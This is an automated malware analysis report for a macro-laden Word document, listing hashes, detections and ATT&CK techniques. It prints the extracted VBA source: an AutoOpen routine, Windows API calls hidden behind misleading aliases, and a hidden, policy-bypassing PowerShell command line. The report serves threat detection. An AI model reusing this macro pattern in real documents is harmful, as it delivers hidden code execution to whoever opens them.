Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 04f01fbe914e6975…

MALICIOUS

Office (OOXML)

17.5 KB Created: 2021-03-23 16:46:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-07-10
MD5: e331eebd7b9964d42af514dc0059c2b9 SHA-1: 3e5d8b31a716986329c8844d406168e6dbc5a46b SHA-256: 04f01fbe914e697561559e8e5704e82154e0c4a52d24057f7faf09cfb1744de6
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The AutoOpen macro references PowerShell and constructs a command to create a directory in the user's temporary folder. This indicates the document is designed to download and execute a second-stage payload, likely using PowerShell, which is a common technique for malware delivery.

Heuristics 6

  • ClamAV: Doc.Downloader.Pwshell-10001336-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Pwshell-10001336-0
  • VBA project inside OOXML medium 3 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
        Dim pshellPath
        mars = "powershell.exe"
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
        imagePath = "C:\\ProgramData\\user1.bmp"
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1801 bytes
SHA-256: 4257e7270f5447005130dd98ca4b98be2ba6aa4fcb1f610e460580ef0c318791
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
    Private Type STA
    res0 As Long
    res1 As Long
    res2 As Long
    res3 As Long
    res4 As Long
    res15 As Long
    res14 As Long
    res13 As Long
    res12 As Long
    res11 As Long
    res10 As Long
    res5 As Long
    res6 As Integer
    res16 As Integer
    res17 As Long
    res7 As Long
    res8 As Long
    res9 As Long
End Type

    Private Type PROF
    arg1 As Long
    arg2 As Long
    arg3 As Long
    arg4 As Long
End Type
Private Declare Function MessageBox Lib "advapi32.dll" Alias "CreateProcessAsUserA" _
    (ByVal hToken As Long, _
    ByVal lpApplicationName As Long, _
    ByVal lpCommandLine As String, _
    ByVal lpProcessAttributes As Long, _
    ByVal lpThreadAttributes As Long, _
    ByVal bInheritHandles As Long, _
    ByVal dwCreationFlags As Long, _
    ByVal lpEnvironment As Long, _
    ByVal lpCurrentDirectory As String, _
    lpStartupInfo As STA, _
    lpProcessInformation As PROF) As Long
Public Declare Function HelloH Lib "kernel32" Alias "CopyFileA" ( _
    ByVal AExistingFileName As String, _
    ByVal ANewFileName As String, _
    ByVal AFailIfExists As Boolean _
    ) As Boolean




    



    
Sub AutoOpen()
    imagePath = "C:\\ProgramData\\user1.bmp"
    savePath = imagePath + " -execu bYp -WiNd HiDd -c $profile = $env:temp+'\zurubatesting'; New-Item -Path $profile -ItemType 'file' -Force"
    Dim pshellPath
    mars = "powershell.exe"
    
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 16384 bytes
SHA-256: e5b3ae656829bf1b655f6ba07e6c81a8dc5b50ee51079b63bbedefa026302f62
Detection
ClamAV: Doc.Downloader.Pwshell-10001336-0
Obfuscation or payload: unlikely